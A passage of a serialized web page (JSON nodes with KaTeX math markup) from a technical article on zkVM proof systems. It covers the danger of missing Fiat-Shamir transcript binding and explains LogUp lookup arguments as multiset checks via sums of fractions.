5],{"type":23,"tag":141,"props":111144,"children":111145},{"style":110698},[111146,111150],{"type":23,"tag":141,"props":111147,"children":111149},{"className":111148,"style":110703},[2726],[],{"type":23,"tag":141,"props":111151,"children":111153},{"className":111152},[2686,20260],[111154],{"type":29,"value":1883},{"type":23,"tag":141,"props":111156,"children":111157},{"style":111065},[111158,111162],{"type":23,"tag":141,"props":111159,"children":111161},{"className":111160,"style":110703},[2726],[],{"type":23,"tag":141,"props":111163,"children":111165},{"className":111164,"style":110924},[110721],[111166],{"type":23,"tag":141,"props":111167,"children":111169},{"className":111168,"style":110797},[110796],[111170],{"type":23,"tag":32743,"props":111171,"children":111172},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111173],{"type":23,"tag":110809,"props":111174,"children":111175},{"d":110811},[],{"type":23,"tag":141,"props":111177,"children":111179},{"className":111178},[2798],[111180],{"type":29,"value":512},{"type":23,"tag":141,"props":111182,"children":111184},{"className":111183,"style":2804},[2766],[],{"type":23,"tag":141,"props":111186,"children":111188},{"className":111187},[2686,110681],[111189],{"type":23,"tag":141,"props":111190,"children":111192},{"className":111191},[2707],[111193],{"type":23,"tag":141,"props":111194,"children":111196},{"className":111195},[2712],[111197],{"type":23,"tag":141,"props":111198,"children":111200},{"className":111199,"style":110767},[2717],[111201,111213],{"type":23,"tag":141,"props":111202,"children":111203},{"style":110698},[111204,111208],{"type":23,"tag":141,"props":111205,"children":111207},{"className":111206,"style":110703},[2726],[],{"type":23,"tag":141,"props":111209,"children":111211},{"className":111210,"style":91532},[2686,20260],[111212],{"type":29,"value":92351},{"type":23,"tag":141,"props":111214,"children":111215},{"style":110698},[111216,111220],{"type":23,"tag":141,"props":111217,"children":111219},{"className":111218,"style":110703},[2726],[],{"type":23,"tag":141,"props":111221,"children":111223},{"className":111222,"style":110791},[110721],[111224],{"type":23,"tag":141,"props":111225,"children":111227},{"className":111226,"style":110797},[110796],[111228],{"type":23,"tag":32743,"props":111229,"children":111230},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111231],{"type":23,"tag":110809,"props":111232,"children":111233},{"d":110811},[],{"type":23,"tag":141,"props":111235,"children":111237},{"className":111236},[20411],[111238],{"type":29,"value":1788},{"type":23,"tag":32,"props":111240,"children":111241},{},[111242,111244,111313,111315,111461,111463,111602,111604,111688],{"type":29,"value":111243},"At a fixed challenge point ",{"type":23,"tag":38,"props":111245,"children":111247},{"className":111246},[2658,2659],[111248],{"type":23,"tag":141,"props":111249,"children":111251},{"className":111250},[2664],[111252],{"type":23,"tag":141,"props":111253,"children":111255},{"className":111254,"ariaHidden":2670},[2669],[111256],{"type":23,"tag":141,"props":111257,"children":111259},{"className":111258},[2675],[111260,111264],{"type":23,"tag":141,"props":111261,"children":111263},{"className":111262,"style":110767},[2680],[],{"type":23,"tag":141,"props":111265,"children":111267},{"className":111266},[2686,110681],[111268],{"type":23,"tag":141,"props":111269,"children":111271},{"className":111270},[2707],[111272],{"type":23,"tag":141,"props":111273,"children":111275},{"className":111274},[2712],[111276],{"type":23,"tag":141,"props":111277,"children":111279},{"className":111278,"style":110767},[2717],[111280,111292],{"type":23,"tag":141,"props":111281,"children":111282},{"style":110698},[111283,111287],{"type":23,"tag":141,"props":111284,"children":111286},{"className":111285,"style":110703},[2726],[],{"type":23,"tag":141,"props":111288,"children":111290},{"className":111289,"style":91532},[2686,20260],[111291],{"type":29,"value":92351},{"type":23,"tag":141,"props":111293,"children":111294},{"style":110698},[111295,111299],{"type":23,"tag":141,"props":111296,"children":111298},{"className":111297,"style":110703},[2726],[],{"type":23,"tag":141,"props":111300,"children":111302},{"className":111301,"style":110791},[110721],[111303],{"type":23,"tag":141,"props":111304,"children":111306},{"className":111305,"style":110797},[110796],[111307],{"type":23,"tag":32743,"props":111308,"children":111309},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111310],{"type":23,"tag":110809,"props":111311,"children":111312},{"d":110811},[],{"type":29,"value":111314},", the coefficients ",{"type":23,"tag":38,"props":111316,"children":111318},{"className":111317},[2658,2659],[111319],{"type":23,"tag":141,"props":111320,"children":111322},{"className":111321},[2664],[111323],{"type":23,"tag":141,"props":111324,"children":111326},{"className":111325,"ariaHidden":2670},[2669],[111327],{"type":23,"tag":141,"props":111328,"children":111330},{"className":111329},[2675],[111331,111335,111344,111349,111398,111403,111407,111456],{"type":23,"tag":141,"props":111332,"children":111334},{"className":111333,"style":111110},[2680],[],{"type":23,"tag":141,"props":111336,"children":111338},{"className":111337},[2686,29],[111339],{"type":23,"tag":141,"props":111340,"children":111342},{"className":111341},[2686],[111343],{"type":29,"value":111121},{"type":23,"tag":141,"props":111345,"children":111347},{"className":111346},[20389],[111348],{"type":29,"value":192},{"type":23,"tag":141,"props":111350,"children":111352},{"className":111351},[2686,110681],[111353],{"type":23,"tag":141,"props":111354,"children":111356},{"className":111355},[2707],[111357],{"type":23,"tag":141,"props":111358,"children":111360},{"className":111359},[2712],[111361],{"type":23,"tag":141,"props":111362,"children":111364},{"className":111363,"style":110897},[2717],[111365,111377],{"type":23,"tag":141,"props":111366,"children":111367},{"style":110698},[111368,111372],{"type":23,"tag":141,"props":111369,"children":111371},{"className":111370,"style":110703},[2726],[],{"type":23,"tag":141,"props":111373,"children":111375},{"className":111374},[2686,20260],[111376],{"type":29,"value":1883},{"type":23,"tag":141,"props":111378,"children":111379},{"style":111065},[111380,111384],{"type":23,"tag":141,"props":111381,"children":111383},{"className":111382,"style":110703},[2726],[],{"type":23,"tag":141,"props":111385,"children":111387},{"className":111386,"style":110924},[110721],[111388],{"type":23,"tag":141,"props":111389,"children":111391},{"className":111390,"style":110797},[110796],[111392],{"type":23,"tag":32743,"props":111393,"children":111394},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111395],{"type":23,"tag":110809,"props":111396,"children":111397},{"d":110811},[],{"type":23,"tag":141,"props":111399,"children":111401},{"className":111400},[2798],[111402],{"type":29,"value":512},{"type":23,"tag":141,"props":111404,"children":111406},{"className":111405,"style":2804},[2766],[],{"type":23,"tag":141,"props":111408,"children":111410},{"className":111409},[2686,110681],[111411],{"type":23,"tag":141,"props":111412,"children":111414},{"className":111413},[2707],[111415],{"type":23,"tag":141,"props":111416,"children":111418},{"className":111417},[2712],[111419],{"type":23,"tag":141,"props":111420,"children":111422},{"className":111421,"style":110767},[2717],[111423,111435],{"type":23,"tag":141,"props":111424,"children":111425},{"style":110698},[111426,111430],{"type":23,"tag":141,"props":111427,"children":111429},{"className":111428,"style":110703},[2726],[],{"type":23,"tag":141,"props":111431,"children":111433},{"className":111432,"style":91532},[2686,20260],[111434],{"type":29,"value":92351},{"type":23,"tag":141,"props":111436,"children":111437},{"style":110698},[111438,111442],{"type":23,"tag":141,"props":111439,"children":111441},{"className":111440,"style":110703},[2726],[],{"type":23,"tag":141,"props":111443,"children":111445},{"className":111444,"style":110791},[110721],[111446],{"type":23,"tag":141,"props":111447,"children":111449},{"className":111448,"style":110797},[110796],[111450],{"type":23,"tag":32743,"props":111451,"children":111452},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111453],{"type":23,"tag":110809,"props":111454,"children":111455},{"d":110811},[],{"type":23,"tag":141,"props":111457,"children":111459},{"className":111458},[20411],[111460],{"type":29,"value":1788},{"type":29,"value":111462}," are constants, so ",{"type":23,"tag":38,"props":111464,"children":111466},{"className":111465},[2658,2659],[111467],{"type":23,"tag":141,"props":111468,"children":111470},{"className":111469},[2664],[111471],{"type":23,"tag":141,"props":111472,"children":111474},{"className":111473,"ariaHidden":2670},[2669],[111475],{"type":23,"tag":141,"props":111476,"children":111478},{"className":111477},[2675],[111479,111483,111543,111548,111597],{"type":23,"tag":141,"props":111480,"children":111482},{"className":111481,"style":110676},[2680],[],{"type":23,"tag":141,"props":111484,"children":111486},{"className":111485},[2686,110681],[111487],{"type":23,"tag":141,"props":111488,"children":111490},{"className":111489},[2707,20314],[111491,111532],{"type":23,"tag":141,"props":111492,"children":111494},{"className":111493},[2712],[111495,111527],{"type":23,"tag":141,"props":111496,"children":111498},{"className":111497,"style":110694},[2717],[111499,111511],{"type":23,"tag":141,"props":111500,"children":111501},{"style":110698},[111502,111506],{"type":23,"tag":141,"props":111503,"children":111505},{"className":111504,"style":110703},[2726],[],{"type":23,"tag":141,"props":111507,"children":111509},{"className":111508,"style":93886},[2686,20260],[111510],{"type":29,"value":31554},{"type":23,"tag":141,"props":111512,"children":111513},{"style":110712},[111514,111518],{"type":23,"tag":141,"props":111515,"children":111517},{"className":111516,"style":110703},[2726],[],{"type":23,"tag":141,"props":111519,"children":111521},{"className":111520,"style":110722},[110721],[111522],{"type":23,"tag":141,"props":111523,"children":111525},{"className":111524},[2686],[111526],{"type":29,"value":110729},{"type":23,"tag":141,"props":111528,"children":111530},{"className":111529},[20417],[111531],{"type":29,"value":20420},{"type":23,"tag":141,"props":111533,"children":111535},{"className":111534},[2712],[111536],{"type":23,"tag":141,"props":111537,"children":111539},{"className":111538,"style":110742},[2717],[111540],{"type":23,"tag":141,"props":111541,"children":111542},{},[],{"type":23,"tag":141,"props":111544,"children":111546},{"className":111545},[20389],[111547],{"type":29,"value":192},{"type":23,"tag":141,"props":111549,"children":111551},{"className":111550},[2686,110681],[111552],{"type":23,"tag":141,"props":111553,"children":111555},{"className":111554},[2707],[111556],{"type":23,"tag":141,"props":111557,"children":111559},{"className":111558},[2712],[111560],{"type":23,"tag":141,"props":111561,"children":111563},{"className":111562,"style":110767},[2717],[111564,111576],{"type":23,"tag":141,"props":111565,"children":111566},{"style":110698},[111567,111571],{"type":23,"tag":141,"props":111568,"children":111570},{"className":111569,"style":110703},[2726],[],{"type":23,"tag":141,"props":111572,"children":111574},{"className":111573,"style":91532},[2686,20260],[111575],{"type":29,"value":92351},{"type":23,"tag":141,"props":111577,"children":111578},{"style":110698},[111579,111583],{"type":23,"tag":141,"props":111580,"children":111582},{"className":111581,"style":110703},[2726],[],{"type":23,"tag":141,"props":111584,"children":111586},{"className":111585,"style":110791},[110721],[111587],{"type":23,"tag":141,"props":111588,"children":111590},{"className":111589,"style":110797},[110796],[111591],{"type":23,"tag":32743,"props":111592,"children":111593},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111594],{"type":23,"tag":110809,"props":111595,"children":111596},{"d":110811},[],{"type":23,"tag":141,"props":111598,"children":111600},{"className":111599},[20411],[111601],{"type":29,"value":1788},{"type":29,"value":111603}," is linear in the table values ",{"type":23,"tag":38,"props":111605,"children":111607},{"className":111606},[2658,2659],[111608],{"type":23,"tag":141,"props":111609,"children":111611},{"className":111610},[2664],[111612],{"type":23,"tag":141,"props":111613,"children":111615},{"className":111614,"ariaHidden":2670},[2669],[111616],{"type":23,"tag":141,"props":111617,"children":111619},{"className":111618},[2675],[111620,111624,111629,111634,111683],{"type":23,"tag":141,"props":111621,"children":111623},{"className":111622,"style":111110},[2680],[],{"type":23,"tag":141,"props":111625,"children":111627},{"className":111626,"style":93886},[2686,20260],[111628],{"type":29,"value":31554},{"type":23,"tag":141,"props":111630,"children":111632},{"className":111631},[20389],[111633],{"type":29,"value":192},{"type":23,"tag":141,"props":111635,"children":111637},{"className":111636},[2686,110681],[111638],{"type":23,"tag":141,"props":111639,"children":111641},{"className":111640},[2707],[111642],{"type":23,"tag":141,"props":111643,"children":111645},{"className":111644},[2712],[111646],{"type":23,"tag":141,"props":111647,"children":111649},{"className":111648,"style":110897},[2717],[111650,111662],{"type":23,"tag":141,"props":111651,"children":111652},{"style":110698},[111653,111657],{"type":23,"tag":141,"props":111654,"children":111656},{"className":111655,"style":110703},[2726],[],{"type":23,"tag":141,"props":111658,"children":111660},{"className":111659},[2686,20260],[111661],{"type":29,"value":1883},{"type":23,"tag":141,"props":111663,"children":111664},{"style":111065},[111665,111669],{"type":23,"tag":141,"props":111666,"children":111668},{"className":111667,"style":110703},[2726],[],{"type":23,"tag":141,"props":111670,"children":111672},{"className":111671,"style":110924},[110721],[111673],{"type":23,"tag":141,"props":111674,"children":111676},{"className":111675,"style":110797},[110796],[111677],{"type":23,"tag":32743,"props":111678,"children":111679},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111680],{"type":23,"tag":110809,"props":111681,"children":111682},{"d":110811},[],{"type":23,"tag":141,"props":111684,"children":111686},{"className":111685},[20411],[111687],{"type":29,"value":1788},{"type":29,"value":322},{"type":23,"tag":32,"props":111690,"children":111691},{},[111692,111694,111763],{"type":29,"value":111693},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":38,"props":111695,"children":111697},{"className":111696},[2658,2659],[111698],{"type":23,"tag":141,"props":111699,"children":111701},{"className":111700},[2664],[111702],{"type":23,"tag":141,"props":111703,"children":111705},{"className":111704,"ariaHidden":2670},[2669],[111706],{"type":23,"tag":141,"props":111707,"children":111709},{"className":111708},[2675],[111710,111714],{"type":23,"tag":141,"props":111711,"children":111713},{"className":111712,"style":110767},[2680],[],{"type":23,"tag":141,"props":111715,"children":111717},{"className":111716},[2686,110681],[111718],{"type":23,"tag":141,"props":111719,"children":111721},{"className":111720},[2707],[111722],{"type":23,"tag":141,"props":111723,"children":111725},{"className":111724},[2712],[111726],{"type":23,"tag":141,"props":111727,"children":111729},{"className":111728,"style":110767},[2717],[111730,111742],{"type":23,"tag":141,"props":111731,"children":111732},{"style":110698},[111733,111737],{"type":23,"tag":141,"props":111734,"children":111736},{"className":111735,"style":110703},[2726],[],{"type":23,"tag":141,"props":111738,"children":111740},{"className":111739,"style":91532},[2686,20260],[111741],{"type":29,"value":92351},{"type":23,"tag":141,"props":111743,"children":111744},{"style":110698},[111745,111749],{"type":23,"tag":141,"props":111746,"children":111748},{"className":111747,"style":110703},[2726],[],{"type":23,"tag":141,"props":111750,"children":111752},{"className":111751,"style":110791},[110721],[111753],{"type":23,"tag":141,"props":111754,"children":111756},{"className":111755,"style":110797},[110796],[111757],{"type":23,"tag":32743,"props":111758,"children":111759},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111760],{"type":23,"tag":110809,"props":111761,"children":111762},{"d":110811},[],{"type":29,"value":111764}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":8287,"props":111766,"children":111768},{"id":111767},"lookup-arguments-logup",[111769],{"type":29,"value":111770},"Lookup Arguments (LogUp)",{"type":23,"tag":32,"props":111772,"children":111773},{},[111774],{"type":29,"value":111775},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":15362,"props":111777,"children":111778},{},[111779,111835,111840],{"type":23,"tag":120,"props":111780,"children":111781},{},[111782,111784,111834],{"type":29,"value":111783},"Is this byte in range ",{"type":23,"tag":38,"props":111785,"children":111787},{"className":111786},[2658,2659],[111788],{"type":23,"tag":141,"props":111789,"children":111791},{"className":111790},[2664],[111792],{"type":23,"tag":141,"props":111793,"children":111795},{"className":111794,"ariaHidden":2670},[2669],[111796],{"type":23,"tag":141,"props":111797,"children":111799},{"className":111798},[2675],[111800,111804,111809,111814,111819,111823,111829],{"type":23,"tag":141,"props":111801,"children":111803},{"className":111802,"style":2787},[2680],[],{"type":23,"tag":141,"props":111805,"children":111807},{"className":111806},[20389],[111808],{"type":29,"value":2399},{"type":23,"tag":141,"props":111810,"children":111812},{"className":111811},[2686],[111813],{"type":29,"value":2698},{"type":23,"tag":141,"props":111815,"children":111817},{"className":111816},[2798],[111818],{"type":29,"value":512},{"type":23,"tag":141,"props":111820,"children":111822},{"className":111821,"style":2804},[2766],[],{"type":23,"tag":141,"props":111824,"children":111826},{"className":111825},[2686],[111827],{"type":29,"value":111828},"255",{"type":23,"tag":141,"props":111830,"children":111832},{"className":111831},[20411],[111833],{"type":29,"value":14088},{"type":29,"value":1816},{"type":23,"tag":120,"props":111836,"children":111837},{},[111838],{"type":29,"value":111839},"Does this opcode decode correctly?",{"type":23,"tag":120,"props":111841,"children":111842},{},[111843],{"type":29,"value":111844},"Is this memory access consistent with previous accesses?",{"type":23,"tag":32,"props":111846,"children":111847},{},[111848,111853],{"type":23,"tag":3998,"props":111849,"children":111850},{},[111851],{"type":29,"value":111852},"The naive approach:",{"type":29,"value":111854}," Add constraints for each check. Expensive.",{"type":23,"tag":32,"props":111856,"children":111857},{},[111858,111863,111865,111870],{"type":23,"tag":3998,"props":111859,"children":111860},{},[111861],{"type":29,"value":111862},"The clever approach:",{"type":29,"value":111864}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":3998,"props":111866,"children":111867},{},[111868],{"type":29,"value":111869},"multiset membership",{"type":29,"value":66278},{"type":23,"tag":32,"props":111872,"children":111873},{},[111874,111879],{"type":23,"tag":3998,"props":111875,"children":111876},{},[111877],{"type":29,"value":111878},"LogUp (Logarithmic Derivative):",{"type":29,"value":111880}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":32,"props":111882,"children":111883},{},[111884,111886,111911,111913,111940],{"type":29,"value":111885},"If set ",{"type":23,"tag":38,"props":111887,"children":111889},{"className":111888},[2658,2659],[111890],{"type":23,"tag":141,"props":111891,"children":111893},{"className":111892},[2664],[111894],{"type":23,"tag":141,"props":111895,"children":111897},{"className":111896,"ariaHidden":2670},[2669],[111898],{"type":23,"tag":141,"props":111899,"children":111901},{"className":111900},[2675],[111902,111906],{"type":23,"tag":141,"props":111903,"children":111905},{"className":111904,"style":20255},[2680],[],{"type":23,"tag":141,"props":111907,"children":111909},{"className":111908},[2686,20260],[111910],{"type":29,"value":75252},{"type":29,"value":111912}," should equal set ",{"type":23,"tag":38,"props":111914,"children":111916},{"className":111915},[2658,2659],[111917],{"type":23,"tag":141,"props":111918,"children":111920},{"className":111919},[2664],[111921],{"type":23,"tag":141,"props":111922,"children":111924},{"className":111923,"ariaHidden":2670},[2669],[111925],{"type":23,"tag":141,"props":111926,"children":111928},{"className":111927},[2675],[111929,111933],{"type":23,"tag":141,"props":111930,"children":111932},{"className":111931,"style":20255},[2680],[],{"type":23,"tag":141,"props":111934,"children":111937},{"className":111935,"style":111936},[2686,20260],"margin-right:0.05017em;",[111938],{"type":29,"value":111939},"B",{"type":29,"value":111941}," as multisets:",{"type":23,"tag":32,"props":111943,"children":111944},{},[111945],{"type":23,"tag":38,"props":111946,"children":111948},{"className":111947},[2658,2659],[111949],{"type":23,"tag":141,"props":111950,"children":111952},{"className":111951},[2664],[111953],{"type":23,"tag":141,"props":111954,"children":111956},{"className":111955,"ariaHidden":2670},[2669],[111957,112172],{"type":23,"tag":141,"props":111958,"children":111960},{"className":111959},[2675],[111961,111966,112039,112043,112159,112163,112168],{"type":23,"tag":141,"props":111962,"children":111965},{"className":111963,"style":111964},[2680],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":141,"props":111967,"children":111969},{"className":111968},[20296],[111970,111975],{"type":23,"tag":141,"props":111971,"children":111973},{"className":111972,"style":20303},[20296,20301,20302],[111974],{"type":29,"value":107327},{"type":23,"tag":141,"props":111976,"children":111978},{"className":111977},[2702],[111979],{"type":23,"tag":141,"props":111980,"children":111982},{"className":111981},[2707,20314],[111983,112027],{"type":23,"tag":141,"props":111984,"children":111986},{"className":111985},[2712],[111987,112022],{"type":23,"tag":141,"props":111988,"children":111991},{"className":111989,"style":111990},[2717],"height:0.1786em;",[111992],{"type":23,"tag":141,"props":111993,"children":111994},{"style":20327},[111995,111999],{"type":23,"tag":141,"props":111996,"children":111998},{"className":111997,"style":2727},[2726],[],{"type":23,"tag":141,"props":112000,"children":112002},{"className":112001},[2732,2733,2734,2735],[112003],{"type":23,"tag":141,"props":112004,"children":112006},{"className":112005},[2686,2735],[112007,112012,112017],{"type":23,"tag":141,"props":112008,"children":112010},{"className":112009},[2686,20260,2735],[112011],{"type":29,"value":55},{"type":23,"tag":141,"props":112013,"children":112015},{"className":112014},[2868,2735],[112016],{"type":29,"value":20367},{"type":23,"tag":141,"props":112018,"children":112020},{"className":112019},[2686,20260,2735],[112021],{"type":29,"value":75252},{"type":23,"tag":141,"props":112023,"children":112025},{"className":112024},[20417],[112026],{"type":29,"value":20420},{"type":23,"tag":141,"props":112028,"children":112030},{"className":112029},[2712],[112031],{"type":23,"tag":141,"props":112032,"children":112035},{"className":112033,"style":112034},[2717],"height:0.3271em;",[112036],{"type":23,"tag":141,"props":112037,"children":112038},{},[],{"type":23,"tag":141,"props":112040,"children":112042},{"className":112041,"style":2804},[2766],[],{"type":23,"tag":141,"props":112044,"children":112046},{"className":112045},[2686],[112047,112052,112155],{"type":23,"tag":141,"props":112048,"children":112051},{"className":112049},[20389,112050],"nulldelimiter",[],{"type":23,"tag":141,"props":112053,"children":112056},{"className":112054},[112055],"mfrac",[112057],{"type":23,"tag":141,"props":112058,"children":112060},{"className":112059},[2707,20314],[112061,112143],{"type":23,"tag":141,"props":112062,"children":112064},{"className":112063},[2712],[112065,112138],{"type":23,"tag":141,"props":112066,"children":112069},{"className":112067,"style":112068},[2717],"height:0.8451em;",[112070,112103,112117],{"type":23,"tag":141,"props":112071,"children":112073},{"style":112072},"top:-2.655em;",[112074,112078],{"type":23,"tag":141,"props":112075,"children":112077},{"className":112076,"style":110703},[2726],[],{"type":23,"tag":141,"props":112079,"children":112081},{"className":112080},[2732,2733,2734,2735],[112082],{"type":23,"tag":141,"props":112083,"children":112085},{"className":112084},[2686,2735],[112086,112093,112098],{"type":23,"tag":141,"props":112087,"children":112090},{"className":112088,"style":112089},[2686,20260,2735],"margin-right:0.04398em;",[112091],{"type":29,"value":112092},"z",{"type":23,"tag":141,"props":112094,"children":112096},{"className":112095},[2772,2735],[112097],{"type":29,"value":2746},{"type":23,"tag":141,"props":112099,"children":112101},{"className":112100},[2686,20260,2735],[112102],{"type":29,"value":55},{"type":23,"tag":141,"props":112104,"children":112106},{"style":112105},"top:-3.23em;",[112107,112111],{"type":23,"tag":141,"props":112108,"children":112110},{"className":112109,"style":110703},[2726],[],{"type":23,"tag":141,"props":112112,"children":112116},{"className":112113,"style":112115},[112114],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":141,"props":112118,"children":112120},{"style":112119},"top:-3.394em;",[112121,112125],{"type":23,"tag":141,"props":112122,"children":112124},{"className":112123,"style":110703},[2726],[],{"type":23,"tag":141,"props":112126,"children":112128},{"className":112127},[2732,2733,2734,2735],[112129],{"type":23,"tag":141,"props":112130,"children":112132},{"className":112131},[2686,2735],[112133],{"type":23,"tag":141,"props":112134,"children":112136},{"className":112135},[2686,2735],[112137],{"type":29,"value":687},{"type":23,"tag":141,"props":112139,"children":112141},{"className":112140},[20417],[112142],{"type":29,"value":20420},{"type":23,"tag":141,"props":112144,"children":112146},{"className":112145},[2712],[112147],{"type":23,"tag":141,"props":112148,"children":112151},{"className":112149,"style":112150},[2717],"height:0.4033em;",[112152],{"type":23,"tag":141,"props":112153,"children":112154},{},[],{"type":23,"tag":141,"props":112156,"children":112158},{"className":112157},[20411,112050],[],{"type":23,"tag":141,"props":112160,"children":112162},{"className":112161,"style":2863},[2766],[],{"type":23,"tag":141,"props":112164,"children":112166},{"className":112165},[2868],[112167],{"type":29,"value":1377},{"type":23,"tag":141,"props":112169,"children":112171},{"className":112170,"style":2863},[2766],[],{"type":23,"tag":141,"props":112173,"children":112175},{"className":112174},[2675],[112176,112180,112252,112256],{"type":23,"tag":141,"props":112177,"children":112179},{"className":112178,"style":111964},[2680],[],{"type":23,"tag":141,"props":112181,"children":112183},{"className":112182},[20296],[112184,112189],{"type":23,"tag":141,"props":112185,"children":112187},{"className":112186,"style":20303},[20296,20301,20302],[112188],{"type":29,"value":107327},{"type":23,"tag":141,"props":112190,"children":112192},{"className":112191},[2702],[112193],{"type":23,"tag":141,"props":112194,"children":112196},{"className":112195},[2707,20314],[112197,112241],{"type":23,"tag":141,"props":112198,"children":112200},{"className":112199},[2712],[112201,112236],{"type":23,"tag":141,"props":112202,"children":112205},{"className":112203,"style":112204},[2717],"height:0.1864em;",[112206],{"type":23,"tag":141,"props":112207,"children":112208},{"style":20327},[112209,112213],{"type":23,"tag":141,"props":112210,"children":112212},{"className":112211,"style":2727},[2726],[],{"type":23,"tag":141,"props":112214,"children":112216},{"className":112215},[2732,2733,2734,2735],[112217],{"type":23,"tag":141,"props":112218,"children":112220},{"className":112219},[2686,2735],[112221,112226,112231],{"type":23,"tag":141,"props":112222,"children":112224},{"className":112223},[2686,20260,2735],[112225],{"type":29,"value":1883},{"type":23,"tag":141,"props":112227,"children":112229},{"className":112228},[2868,2735],[112230],{"type":29,"value":20367},{"type":23,"tag":141,"props":112232,"children":112234},{"className":112233,"style":111936},[2686,20260,2735],[112235],{"type":29,"value":111939},{"type":23,"tag":141,"props":112237,"children":112239},{"className":112238},[20417],[112240],{"type":29,"value":20420},{"type":23,"tag":141,"props":112242,"children":112244},{"className":112243},[2712],[112245],{"type":23,"tag":141,"props":112246,"children":112248},{"className":112247,"style":112034},[2717],[112249],{"type":23,"tag":141,"props":112250,"children":112251},{},[],{"type":23,"tag":141,"props":112253,"children":112255},{"className":112254,"style":2804},[2766],[],{"type":23,"tag":141,"props":112257,"children":112259},{"className":112258},[2686],[112260,112264,112357],{"type":23,"tag":141,"props":112261,"children":112263},{"className":112262},[20389,112050],[],{"type":23,"tag":141,"props":112265,"children":112267},{"className":112266},[112055],[112268],{"type":23,"tag":141,"props":112269,"children":112271},{"className":112270},[2707,20314],[112272,112346],{"type":23,"tag":141,"props":112273,"children":112275},{"className":112274},[2712],[112276,112341],{"type":23,"tag":141,"props":112277,"children":112279},{"className":112278,"style":112068},[2717],[112280,112310,112321],{"type":23,"tag":141,"props":112281,"children":112282},{"style":112072},[112283,112287],{"type":23,"tag":141,"props":112284,"children":112286},{"className":112285,"style":110703},[2726],[],{"type":23,"tag":141,"props":112288,"children":112290},{"className":112289},[2732,2733,2734,2735],[112291],{"type":23,"tag":141,"props":112292,"children":112294},{"className":112293},[2686,2735],[112295,112300,112305],{"type":23,"tag":141,"props":112296,"children":112298},{"className":112297,"style":112089},[2686,20260,2735],[112299],{"type":29,"value":112092},{"type":23,"tag":141,"props":112301,"children":112303},{"className":112302},[2772,2735],[112304],{"type":29,"value":2746},{"type":23,"tag":141,"props":112306,"children":112308},{"className":112307},[2686,20260,2735],[112309],{"type":29,"value":1883},{"type":23,"tag":141,"props":112311,"children":112312},{"style":112105},[112313,112317],{"type":23,"tag":141,"props":112314,"children":112316},{"className":112315,"style":110703},[2726],[],{"type":23,"tag":141,"props":112318,"children":112320},{"className":112319,"style":112115},[112114],[],{"type":23,"tag":141,"props":112322,"children":112323},{"style":112119},[112324,112328],{"type":23,"tag":141,"props":112325,"children":112327},{"className":112326,"style":110703},[2726],[],{"type":23,"tag":141,"props":112329,"children":112331},{"className":112330},[2732,2733,2734,2735],[112332],{"type":23,"tag":141,"props":112333,"children":112335},{"className":112334},[2686,2735],[112336],{"type":23,"tag":141,"props":112337,"children":112339},{"className":112338},[2686,2735],[112340],{"type":29,"value":687},{"type":23,"tag":141,"props":112342,"children":112344},{"className":112343},[20417],[112345],{"type":29,"value":20420},{"type":23,"tag":141,"props":112347,"children":112349},{"className":112348},[2712],[112350],{"type":23,"tag":141,"props":112351,"children":112353},{"className":112352,"style":112150},[2717],[112354],{"type":23,"tag":141,"props":112355,"children":112356},{},[],{"type":23,"tag":141,"props":112358,"children":112360},{"className":112359},[20411,112050],[],{"type":23,"tag":32,"props":112362,"children":112363},{},[112364,112366,112391],{"type":29,"value":112365},"for random challenge ",{"type":23,"tag":38,"props":112367,"children":112369},{"className":112368},[2658,2659],[112370],{"type":23,"tag":141,"props":112371,"children":112373},{"className":112372},[2664],[112374],{"type":23,"tag":141,"props":112375,"children":112377},{"className":112376,"ariaHidden":2670},[2669],[112378],{"type":23,"tag":141,"props":112379,"children":112381},{"className":112380},[2675],[112382,112386],{"type":23,"tag":141,"props":112383,"children":112385},{"className":112384,"style":109373},[2680],[],{"type":23,"tag":141,"props":112387,"children":112389},{"className":112388,"style":112089},[2686,20260],[112390],{"type":29,"value":112092},{"type":29,"value":112392},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":32,"props":112394,"children":112395},{},[112396,112401],{"type":23,"tag":3998,"props":112397,"children":112398},{},[112399],{"type":29,"value":112400},"In zkVMs:",{"type":29,"value":112402}," Different components emit and consume lookup tuples:",{"type":23,"tag":15362,"props":112404,"children":112405},{},[112406,112493],{"type":23,"tag":120,"props":112407,"children":112408},{},[112409,112411,112437,112439,112464,112466,112492],{"type":29,"value":112410},"CPU emits: \"I read value ",{"type":23,"tag":38,"props":112412,"children":112414},{"className":112413},[2658,2659],[112415],{"type":23,"tag":141,"props":112416,"children":112418},{"className":112417},[2664],[112419],{"type":23,"tag":141,"props":112420,"children":112422},{"className":112421,"ariaHidden":2670},[2669],[112423],{"type":23,"tag":141,"props":112424,"children":112426},{"className":112425},[2675],[112427,112431],{"type":23,"tag":141,"props":112428,"children":112430},{"className":112429,"style":109373},[2680],[],{"type":23,"tag":141,"props":112432,"children":112434},{"className":112433,"style":92018},[2686,20260],[112435],{"type":29,"value":112436},"v",{"type":29,"value":112438}," from address 